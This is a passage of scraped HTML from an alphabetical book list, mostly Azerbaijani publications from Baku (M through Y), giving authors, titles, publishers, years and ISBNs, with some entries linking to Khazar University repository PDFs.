..=\"\" images=\"\" outline-p.png\");\"=\"\">Məktəb və ailə əməkdaşlığı. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məlikov, R. Məktəblinin tarix lüğəti. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədli, Z. Bu da mən. Bakı: Тutu, 2001. ISBN: 9952401000</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Məmmədov, R. Gürcüstanda Azərbaycan mətbuatı və ədəbi mühit. Bakı: Xəzər Universitəsi, 2000. ISBN: 9952200064</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1099/1/Nijat_book.pdf\"><strong>Mikayilzade, N. Human Physiology : Lectures.</strong></a>&nbsp;Baku: Khazar University Press, 2004. ISBN: 9952200277</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Minutes of the round table on”the role of civil society and entrepreneurs in combating corruption”.Baku: Azerbaijan young lowyers union, 2005. ISBN 9952408105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Minutes of the round table on”the state agehcies combating corruption”. Baku: Azerbaijan Young&nbsp;Lawyers Union, 2005. ISBN 99524080916</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Cəbr: IX sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN: 9952415052</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin X-XI sinifləri üçün cəbr və analizin başlanğıcı kursu üzrə&nbsp;tədris materiallarının planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005.&nbsp;ISBN: 9952415028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin IX sinifləri üçün cəbr kursu üzrə tədris materiallarının&nbsp;planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005. ISBN: 995241501X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin VII-XI siniflərində həndəsə kursu üzrə tədris materiallarının&nbsp;planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005.&nbsp;ISBN: 9952415036</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəzadə, A. Demokratiya plyus. Bakı: Azərbaycan, 2004. ISBN: 9952330049</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Moem, S. Ay və qara qəpik. Bakı: Qanun, 2012. ISBN: 9789952262476</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Muradov, Ə. ÜTT-yə üzv olma -Azərbaycan və ÜTT. ISBN: 995250363</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musabəyov, R. Cəmiyyət və dövlət. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 9952230141</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, İ. Okean: bəşərin bəşiyi. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230117</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafayev, B.M. Qaçaqmalçılıq Cinayətləri üzrə ib. ar. ISBN: 9952250405</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musiqi səmimiyyət məbədi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230052</p><hr noshade=\"noshade\"><strong>N</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Najafov, I. Death of a Publisher. Bakı: Nağıl Evi, 2003. ISBN: 9952210108</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəbioğlu, A. Vüqar Əhmədin söz dünyası. Bakı: EI Alliance, 2003. ISBN: 9952290225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəfzadə, A. Azərbaycan çalğı alətlərinin izahlı lüğəti. Bakı: EI Alliance, 2004. ISBN: 9952290144</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsibov, C. İdman güc və gözəllik. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsibov, C. İdman: güc və gözəllik. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəşriyyat işi. Bakı: Yeni Nəsil, 2001. ISBN: 9952240023</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nizami, G. Günəş diyarı. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230087</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Novruzova, S. Cinayət prosesində şəxsiyyətin hüquqlarının təminatı ədalət mühakiməsinin məqsədi kimi. Bakı: NAT MMC, 2012. ISBN: 9789952807493</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nuriyev, Ə. Hüquq : azadlığımızın ölçüsü. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230176</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\"><strong>Nuriyev, M. English – Azerbaijani Azerbaijani – English Concise Dictionary of Project Management Terms.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2012. ISBN: 9789952200706</p><hr noshade=\"noshade\"><strong>O</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Orta məktəblərdə yeni təlim metodları. Bakı: Mürşüdlü, ISBN: 9952800401</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Otuz üç pillə yuxarı. Baki : Tutu, 2004. ISBN: 9952410063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oyun vasitəsi və öyrətmə. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400055</p><hr noshade=\"noshade\"><strong>Ö</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ölüm cəzası və yaşamaq hüququ. Bakı: Nağıl Evi, 2004. ISBN: 9952210167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ömərli, V. Qazrayazı. Bakı: Çaşıoğlu, 2001. ISBN: 9952800509</p><hr noshade=\"noshade\"><strong>P</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Pənahqızı, S. Təbiətin möcüzəsi. Bakı: EI Alliance, 2002. ISBN: 9952290047</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pənahqızı, S. Təbiətin möcüzəsi-ilahi qüvvəsi. Bakı: EI Alliance, 2002. ISBN: 9952290071</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Polad, Ə. Üç min ilin hikməti. Bakı: Yurd NRB, 2004. ISBN: 9952407002</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prigogine, İ. Müəyyənliyin sonu. Bakı: Bilik, 2003. ISBN: 9952803303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prokurorluğa qəbulla bağlı testlər. Bakı: Qanun, 2012. ISBN: 9789952263107</p><hr noshade=\"noshade\"><strong>R</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rafiq Sarıvəlli. Bakı: Nurlan, 2005. ISBN: 9952800630</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rafiq, B. Min bir mahnı. Bakı: EI Alliance, 2001. ISBN: 9952290179</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Reproduktiv sağlamlıq və perinatologiya (№ 1, 2005). Bakı: EI Alliance, 2005.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952290608</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəcəbli, X. Dilbaz atı. Bakı: Elephant poligraphy,&nbsp; 2005. ISBN: 9952806507</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulov, F. İqtisadiyyatın əsasları. Bakı, 2004. ISBN: 9952805101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Remark, E. Qərb cəphəsində yenilik yoxdur. Bakı: Qanun, 2012. ISBN: 9789952262940</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Reyniz, C. Məşğulluq mənfəət və pulun ümumi nəzəriyyəsi. ISBN: 9952260008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rose-Ackerman, S. Hakimiyyət və korrupsiya: səbəblər, nəticələr və islahatlar. Bakı, 2004. ISBN: 9952400098</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rustaveli, Ş. Pələngdərili cəngavər. Bakı: Nağıl Evi, 2003. ISBN: 9952210132</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, S. Difai fədailəri. Bakı: Qanun, 2012. ISBN: 9789952262605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmov, Y. Əbu Həfs Ömər Suhrəvərdinin təsəvvüf fəlsəfəsi. Bakı, 2005. ISBN: 9952426008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rzayev, X. Atalar sözü. Bakı: Nurlar, 2004. ISBN: 9952403135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rzazade, E. Manual on Introduction to Computer Science. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200056</p><hr noshade=\"noshade\"><strong>S</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Sağlamlıq imkanları məhdud olan insanlar haqqında sənədlər toplusu. ISBN: 9952408145</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sağlamlıq imkanları məhdud olan insanların daxil olduğu hüquq münasibətlərini tənzimləyən&nbsp;qanunvericilik toplusu. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408148</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1155/1/Eflatun%20saracli%20.pdf\"><strong>Saraclı, Ə. Ömür keçdi yuxu kimi.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200153</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sehrli nağıllar. Bakı: Tutu, 2004. ISBN: 9952410020</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Seyidzadə, D. Azərbaycan XX əsrin əvvəllərində: müstəqilliyə aparan yollar. Oka Ofset Azərbaycan-</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Türkiyə Nəşriyyat Poliqrafiya şirkəti, 2004. ISBN: 9952411042</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səfərəliyeva, R. İşgüzar etika. Bakı: Yeni Nəsil, 2004. ISBN: 9952240317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Silvester, P. Qavaldaşın altında. Bakı: Müəllim, 2003. ISBN: 9952410039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sosial müdafiə və təminat xərcləri. ISBN: 9952805721</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1157/1/The%20titul%20son.pdf\"><strong>Stein, M. Jurnalistikaya giriş.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200110</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Stiqlitz, C. Qloballaşma və onun doğurduğu narazılıqlar. Bakı: IIN IIM Mətbəəsi, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804601</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1319/1/movlud%20Suleymanli5555%20%282%29.pdf\"><strong>Süleymanlı, M. Gecə qapı kimi aç...</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200669</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, T. Kosmos: insan kainata can atır. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230109</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, M. Şagirdlik illərim. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, M. Xatirələr duyğular. ISBN: 9952200048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanova, N. Quranda Peyğəmbərlər. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200062</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahoğlu, H. Hazardan esintiler. Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200478</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şərq-qərb: Sivilizasiyaların dialoqu: elmi-nəzəri və ictimai-siyasi jurnal.№1. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1121/1/Afaq%20Shixli-3%20%28Son%29zak%20en%20son.pdf\"><strong>Şıxlı, A. Məndən uzaqda...</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200145</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şükürov, K. Türkmənçay 1828: tarixi xronika. Bakı: Çaşıoğlu, 2006. ISBN: 9952809084</p><hr noshade=\"noshade\"><strong>T</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1383\"><strong>Tadahiro Abe. Foreign Policy of Japan</strong></a>. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200409 Tərcüməşünaslıq və onun&nbsp; müasir dövrdə rolu : respublika tələbə elmi-praktik konfranslarının materialları. Bakı:&nbsp; Qafqaz Universiteti, 2011. ISBN: 9789952468021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərtərli, F. Qəm yükü. Bakı: EI Alliance, 2003. ISBN: 9952290160</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table on”legal responcibility of oficials on coruption related&nbsp;delinquencies”. Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408172</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table” the role of the tax agencies in fighting against corruption”. Baku:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azerbaijan Young Lawyers Union, 2005. ISBN 9952408156</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table”on monitiring of corruption”. Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408164</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the roundtable”the role of youth and young lowyers in fighting against corruption”.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408113</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tohidi, S. Kominternin şərq siyasəti və İran 1919-1943. ISBN: 9952200102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş, O.&nbsp; Məsnəvi dəryasından abi-həyat qətrələri. Bakı: Ipək Yolu, 2007. ISBN: 9952810202</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş, O. Görkəmli və nümunəvi şəxsiyyət Həzrət Məhəmməd Mustafa. İstanbul: IBS Graphics, 2006. 9952808305</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tusi, N. Təhriri-Öqlidis. Bakı: Ulduz, 2001. ISBN: 995280034</p><hr noshade=\"noshade\"><strong>U</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Umberto Eco və postmodermizim fəlsəfəsi. Bakı: Qanun, 2012. ISBN: 9952262599</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Umudlu, İ. Kitab nəşri bu gün. Bakı, 2004. ISBN: 995280380X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uşaq mahnıları: üç cilddə. Bakı: “Min bir mahnı” MMC (MBM MMC), 2005. ISBN: 9952290160</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Üfüq-ədəbi almanax 1. Bakı: EI Alliance, 2002. ISBN: 995229008Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümumi biologiya: ümümtəhsil məktəblərinin 10-11-ci sinifləri üçün dərslik. Bakı, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801408</p><hr noshade=\"noshade\"><strong>V</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vanqanın şəfa reseptləri. Bakı: MMC (MBM MMC), 2002. ISBN: 9952290012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, D. Yüksəliş yolları. Bakı: Çaşıoğlu, 2011. ISBN: 9789952814309</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun, 2012. ISBN: 9789952262605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vətəndaşın büdcə bələdçisi: 2005-ci maliyyə ili. Bakı: “Ekspert” jurnalı, 2005. ISBN: 9952803176</p><hr noshade=\"noshade\"><strong>Y</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yan, V. Makidonyalı İsgəndər. Bakı: Qələm MMC, 2010. ISBN: 9789952468014</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yeni dovrə yeni liderlə. Bakı: El-Alliance, 2005. ISBN: 9952290454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yetkinlik yaşına çatmayanlar üçün cinayət mühakiməsi. Bakı: Yeni Nesil, 2002. ISBN: 9952408008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yolçiyev, M. Riyaziyyat. Bakı: MBM MMC, 2002. ISBN: 9952290039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yunusov, A. Azərbaycanda islam. Bakı: Zaman, 2004. ISBN: 9952805225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yunusov, A. Islam in Azerbaijan. Bakı: Zaman, 2004. ISBN: 9952805217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yurda qayğı. Bakı: Borçalı ictimai birliyi, 2012. ISBN: 97899528074 62</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusif, S. Seçilmiş əsərləri: 2 cilddə. C. 